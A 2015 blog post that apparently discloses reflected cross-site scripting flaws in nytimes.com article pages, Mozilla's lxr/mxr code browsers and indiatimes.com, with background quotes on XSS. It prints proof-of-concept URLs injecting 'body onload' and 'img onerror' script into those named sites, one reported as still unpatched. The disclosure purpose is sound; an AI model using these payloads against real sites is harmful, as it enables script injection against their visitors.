Saturday 20 June 2015

New York Times nytimes.com Page Design XSS Vulnerability (Almost all Article Pages Before 2013 are Affected)

The New York Times  Old Articles Can Be Exploited by XSS Attacks (Almost all Article Pages Before 2013 Are Affected)




Domain:
http://www.nytimes.com/



"The New York Times (NYT) is an American daily newspaper, founded and continuously published in New York City since September 18, 1851, by the New York Times Company. It has won 114 Pulitzer Prizes, more than any other news organization. The paper's print version has the largest circulation of any metropolitan newspaper in the United States, and the second-largest circulation overall, behind The Wall Street Journal. It is ranked 39th in the world by circulation. Following industry trends, its weekday circulation has fallen to fewer than one million daily since 1990. Nicknamed for years as "The Gray Lady", The New York Times is long regarded within the industry as a national "newspaper of record". It is owned by The New York Times Company. Arthur Ochs Sulzberger, Jr., (whose family (Ochs-Sulzberger) has controlled the paper for five generations, since 1896), is both the paper's publisher and the company's chairman. Its international version, formerly the International Herald Tribune, is now called the International New York Times. The paper's motto, "All the News That's Fit to Print", appears in the upper left-hand corner of the front page." (Wikipedia)






(1) Vulnerability Description:

The New York Times has a computer cyber security problem. Hacker can exploit its users by XSS bugs. 


The code program flaw occurs at New York Times’s URLs. Nytimes (short for New York Times) uses part of the URLs to construct its pages. However, it seems that Nytimes does not filter the content used for the construction at all before 2013.


Based on Nytimes’s Design, Almost all URLs before 2013 are affected (All pages of articles). In fact, all article pages that contain “PRINT” button, “SINGLE PAGE” button, “Page *” button, “NEXT PAGE” button are affected.


Nytimes changed this mechanism since 2013. It decodes the URLs sent to its server. This makes the mechanism much safer now.


However, all URLs before 2013 are still using the old mechanism. This means almost all article pages before 2013 are still vulnerable to XSS attacks. I guess the reason Nytimes does not filter URLs before is cost. It costs too much (money & human capital) to change the database of all posted articles before.





















Living POCs Codes:





POC Video:

(2) Vulnerability Analysis:
Take the following link as an example,
It can see that for the page reflected, it contains the following codes. All of them are vulnerable.


<li class=”print”>
<a href=”/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/”><vulnerabletoattack?pagewanted=print”>Print</testtesttest?pagewanted=print”></a>
</li>


<li class=”singlePage”>
<a href=”/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/”><testtesttest?pagewanted=all”> Single Page</vulnerabletoattack?pagewanted=all”></a>
 </li>


<li> <a onclick=”s_code_linktrack(‘Article-MultiPagePageNum2′);” title=”Page 2″ href=”/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/”><vulnerabletoattack?pagewanted=2″>2</testtesttest?pagewanted=2″></a> 
</li>


<li> <a onclick=”s_code_linktrack(‘Article-MultiPagePageNum3′);” title=”Page 3″ href=”/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/”><vulnerabletoattack?pagewanted=3″>3</testtesttest?pagewanted=3″></a> 
</li>


<a class=”next” onclick=”s_code_linktrack(‘Article-MultiPage-Next’);” title=”Next Page” href=”/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/”><vulnerabletoattack?pagewanted=2″>Next Page »</testtesttest?pagewanted=2″></a>






(3) What is XSS?
Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications. XSS enables attackers to inject client-side script into Web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same origin policy.


"Hackers are constantly experimenting with a wide repertoire of hacking techniques to compromise websites and web applications and make off with a treasure trove of sensitive data including credit card numbers, social security numbers and even medical records. Cross-site Scripting (also known as XSS or CSS) is generally believed to be one of the most common application layer hacking techniques Cross-site Scripting allows an attacker to embed malicious JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable dynamic page to fool the user, executing the script on his machine in order to gather data. The use of XSS might compromise private information, manipulate or steal cookies, create requests that can be mistaken for those of a valid user, or execute malicious code on the end-user systems. The data is usually formatted as a hyperlink containing malicious content and which is distributed over any possible means on the internet." (Acunetix)





The vulnerability can be attacked without user login. Tests were performed on Firefox (34.0) in Ubuntu (14.04) and IE (9.0.15) in Windows 8.









Discover and Reporter:
Jing Wang, Division of Mathematical Sciences (MAS), School of Physical and Mathematical Sciences (SPMS), Nanyang Technological University (NTU), Singapore. (@justqdjing)










More Details:





Mozilla Online Website Two Sub-Domains XSS (Cross-site Scripting) Bugs ( All URLs Under the Two Domains)

Mozilla Online Website Two Sub-Domains XSS (Cross-site Scripting) Bugs ( All URLs Under the Two Domains)




Domains:
http://lxr.mozilla.org/
http://mxr.mozilla.org/
(The two domains above are almost the same)



Websites information:
"lxr.mozilla.org, mxr.mozilla.org are cross references designed to display the Mozilla source code. The sources displayed are those that are currently checked in to the mainline of the mozilla.org CVS server, Mercurial Server, and Subversion Server; these pages are updated many times a day, so they should be pretty close to the latest‑and‑greatest." (from Mozilla)

"Mozilla is a free-software community which produces the Firefox web browser. The Mozilla community uses, develops, spreads and supports Mozilla products, thereby promoting exclusively free software and open standards, with only minor exceptions. The community is supported institutionally by the Mozilla Foundation and its tax-paying subsidiary, the Mozilla Corporation. In addition to the Firefox browser, Mozilla also produces Thunderbird, Firefox Mobile, the Firefox OS mobile operating system, the bug tracking system Bugzilla and a number of other projects." (Wikipedia)




(1) Vulnerability description:
Mozilla website has a computer cyber security problem. Hacker can attack it by XSS bugs. Here is the description of XSS: "Hackers are constantly experimenting with a wide repertoire of hacking techniques to compromise websites and web applications and make off with a treasure trove of sensitive data including credit card numbers, social security numbers and even medical records. Cross-site Scripting (also known as XSS or CSS) is generally believed to be one of the most common application layer hacking techniques Cross-site Scripting allows an attacker to embed malicious JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable dynamic page to fool the user, executing the script on his machine in order to gather data. The use of XSS might compromise private information, manipulate or steal cookies, create requests that can be mistaken for those of a valid user, or execute malicious code on the end-user systems. The data is usually formatted as a hyperlink containing malicious content and which is distributed over any possible means on the internet." (Acunetix)



All pages under the following two URLs are vulnerable.
http://lxr.mozilla.org/mozilla-central/source
http://mxr.mozilla.org/mozilla-central/source


This means all URLs under the above two domains can be used for XSS attacks targeting Mozilla's users.


Since there are large number of pages under them. Meanwhile, the contents of the two domains vary. This makes the vulnerability very dangerous. Attackers can use different URLs to design XSS attacks to Mozilla's variety class of users.














POC Codes:
http://lxr.mozilla.org/mozilla-central/source/<body onload=prompt("justqdjing")>

http://mxr.mozilla.org/mozilla-central/source/<body onload=prompt("justqdjing")>




POC Video:






(2) Vulnerability Analysis:
Take the following link as an example,
http://lxr.mozilla.org/mozilla-central/source/chrome/<attacktest>


In the page reflected, it contains the following codes.
<a href="/mozilla-central/source/chrome/%253Cattacktest%253E">
<attacktest></attacktest>
</a>

If insert "<body onload=prompt("justqdjing")>" into the URL, the code can be executed.



The vulnerability can be attacked without user login. Tests were performed on Firefox (26.0) in Ubuntu (12.04) and IE (9.0.15) in Windows 7.






(3) Vulnerability Disclosure:
The vulnerability have been reported to bugzilla.mozilla.org. Mozilla are dealing with this issue.






Discovered and Reported by:
Wang Jing, Division of Mathematical Sciences (MAS), School of Physical and Mathematical Sciences (SPMS), Nanyang Technological University (NTU), Singapore. (@justqdjing)









More Details:

All Links in Two Topics of Indiatimes (indiatimes.com) Are Vulnerable to XSS (Cross Site Scripting) Attacks


All Links in Two Topics of Indiatimes (indiatimes.com) Are Vulnerable to XSS (Cross Site Scripting) Attacks 



(1) Domain Description:
http://www.indiatimes.com



"The Times of India (TOI) is an Indian English-language daily newspaper. It is the third-largest newspaper in India by circulation and largest selling English-language daily in the world according to Audit Bureau of Circulations (India). According to the Indian Readership Survey (IRS) 2012, the Times of India is the most widely read English newspaper in India with a readership of 7.643 million. This ranks the Times of India as the top English daily in India by readership. It is owned and published by Bennett, Coleman & Co. Ltd. which is owned by the Sahu Jain family. In the Brand Trust Report 2012, Times of India was ranked 88th among India's most trusted brands and subsequently, according to the Brand Trust Report 2013, Times of India was ranked 100th among India's most trusted brands. In 2014 however, Times of India was ranked 174th among India's most trusted brands according to the Brand Trust Report 2014, a study conducted by Trust Research Advisory." (en.Wikipedia.org)





(2) Vulnerability description:
The web application indiatimes.com online website has a security problem. Hacker can exploit it by XSS bugs.

The code flaw occurs at Indiatimes's URL links. Indiatimes only filter part of the filenames in its website. All URLs under Indiatimes's "photogallery" and "top-llists" topics are affected. 

Indiatimes uses part of the links under "photogallery" and "top-llists" topics to construct its website content without any checking of those links at all. This mistake is very popular in nowaday websites. Developer is not security expert.


The vulnerability can be attacked without user login. Tests were performed on Mozilla Firefox (26.0) in Ubuntu (12.04) and Microsoft IE (9.0.15) in Windows 7.











POC Codes:
http://www.indiatimes.com/photogallery/">homeqingdao<img src=x onerror=prompt('justqdjing')>
http://www.indiatimes.com/top-lists/">singaporemanagementuniversity<img src=x onerror=prompt('justqdjing')>
http://www.indiatimes.com/photogallery/lifestyle/">astar<img src=x onerror=prompt('justqdjing')>
http://www.indiatimes.com/top-lists/technology/">nationaluniversityofsingapore<img src=x onerror=prompt('justqdjing')>




POC Video:






What is XSS?
"Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it." (OWASP)





(3) Vulnerability Disclosure:
The vulnerabilities were reported to Indiatimes in early September, 2014. However they are still unpatched.







Discovered and Reported by:
Wang Jing, Division of Mathematical Sciences (MAS), School of Physical and Mathematical Sciences (SPMS), Nanyang Technological University (NTU), Singapore. (@justqdjing)